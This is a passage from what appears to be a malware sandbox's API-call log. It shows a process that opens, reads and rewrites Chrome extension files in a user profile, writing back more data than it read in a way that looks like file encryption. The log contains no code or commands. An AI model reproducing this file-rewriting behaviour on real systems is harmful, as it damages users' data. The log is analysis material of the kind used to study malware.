lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x102dc [0051.857] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0051.858] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x102dc [0051.858] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0051.859] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0051.859] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0051.859] CloseHandle (hObject=0x1b0) returned 1 [0051.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0051.859] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.859] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2c1 [0051.859] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.859] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.860] ReleaseMutex (hMutex=0x128) returned 1 [0051.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.860] ReadFile (in: hFile=0x1b0, lpBuffer=0x2739318, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x354f2bc*=0x2c1, lpOverlapped=0x0) returned 1 [0051.861] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0051.861] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x849, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x354f2d0*=0x849, lpOverlapped=0x0) returned 1 [0051.861] CloseHandle (hObject=0x1b0) returned 1 [0051.861] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0051.862] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.862] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2a1 [0051.862] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0051.862] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.862] ReleaseMutex (hMutex=0x128) returned 1 [0051.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0051.862] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0051.862] ReadFile (in: hFile=0x1b0, lpBuffer=0x2739318, nNumberOfBytesToRead=0x2a1, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x354f2bc*=0x2a1, lpOverlapped=0x0) returned 1 [0052.314] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0052.314] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x829, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x354f2d0*=0x829, lpOverlapped=0x0) returned 1 [0052.314] CloseHandle (hObject=0x1b0) returned 1 [0052.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.314] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.315] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2ae [0052.315] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.315] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.315] ReleaseMutex (hMutex=0x128) returned 1 [0052.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0052.315] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0052.315] ReadFile (in: hFile=0x1b0, lpBuffer=0x2739318, nNumberOfBytesToRead=0x2ae, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739318*, lpNumberOfBytesRead=0x354f2bc*=0x2ae, lpOverlapped=0x0) returned 1 [0052.316] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0052.316] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x836, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x354f2d0*=0x836, lpOverlapped=0x0) returned 1 [0052.316] CloseHandle (hObject=0x1b0) returned 1 [0052.316] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.317] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.317] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x282 [0052.317] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.317] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.317] ReleaseMutex (hMutex=0x128) returned 1 [0052.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0052.317] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0052.317] ReadFile (in: hFile=0x1b0, lpBuffer=0x2629ec8, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesRead=0x354f2bc*=0x282, lpOverlapped=0x0) returned 1 [0052.319] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0052.319] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x80a, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x354f2d0*=0x80a, lpOverlapped=0x0) returned 1 [0052.319] CloseHandle (hObject=0x1b0) returned 1 [0052.319] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.319] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.319] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x180f [0052.319] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.319] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.319] ReleaseMutex (hMutex=0x128) returned 1 [0052.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="128.png", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0052.319] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="128.png", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="128.png", lpUsedDefaultChar=0x0) returned 7 [0052.320] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x180f, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f2bc*=0x180f, lpOverlapped=0x0) returned 1 [0052.321] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0052.321] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1d97, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f2d0*=0x1d97, lpOverlapped=0x0) returned 1 [0052.321] CloseHandle (hObject=0x1b0) returned 1 [0052.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.322] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.322] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x10d [0052.322] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.322] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.322] ReleaseMutex (hMutex=0x128) returned 1 [0052.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0052.322] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0052.322] ReadFile (in: hFile=0x1b0, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x10d, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x354f2bc*=0x10d, lpOverlapped=0x0) returned 1 [0052.323] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0052.323] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x695, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x695, lpOverlapped=0x0) returned 1 [0052.323] CloseHandle (hObject=0x1b0) returned 1 [0052.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.324] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.324] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x100 [0052.324] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.324] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.324] ReleaseMutex (hMutex=0x128) returned 1 [0052.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0052.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6340c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0052.324] ReadFile (in: hFile=0x1b0, lpBuffer=0x1ddc528, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddc528*, lpNumberOfBytesRead=0x354f2bc*=0x100, lpOverlapped=0x0) returned 1 [0052.325] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0052.325] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x688, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x688, lpOverlapped=0x0) returned 1 [0052.325] CloseHandle (hObject=0x1b0) returned 1 [0052.325] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.326] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.326] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xd2 [0052.326] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.326] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.326] ReleaseMutex (hMutex=0x128) returned 1 [0052.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0052.327] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0052.327] ReadFile (in: hFile=0x1b0, lpBuffer=0x1daea48, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daea48*, lpNumberOfBytesRead=0x354f2bc*=0xd2, lpOverlapped=0x0) returned 1 [0052.327] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0052.327] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x65a, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x354f2d0*=0x65a, lpOverlapped=0x0) returned 1 [0052.328] CloseHandle (hObject=0x1b0) returned 1 [0052.328] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0052.328] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.328] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2686 [0052.328] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0052.328] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0052.328] ReleaseMutex (hMutex=0x128) returned 1 [0052.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0052.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x1e78974, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="verified_contents.json", lpUsedDefaultChar=0x0) returned 22 [0052.328] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.330] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1686 [0052.330] ReadFile (in: hFile=0x1b0, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0052.331] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1686 [0052.331] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0052.331] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0052.331] WriteFile (in: hFile=0x1b0, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0052.331] CloseHandle (hObject=0x1b0) returned 1 [0052.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\chromecast_logo_grey.png"), 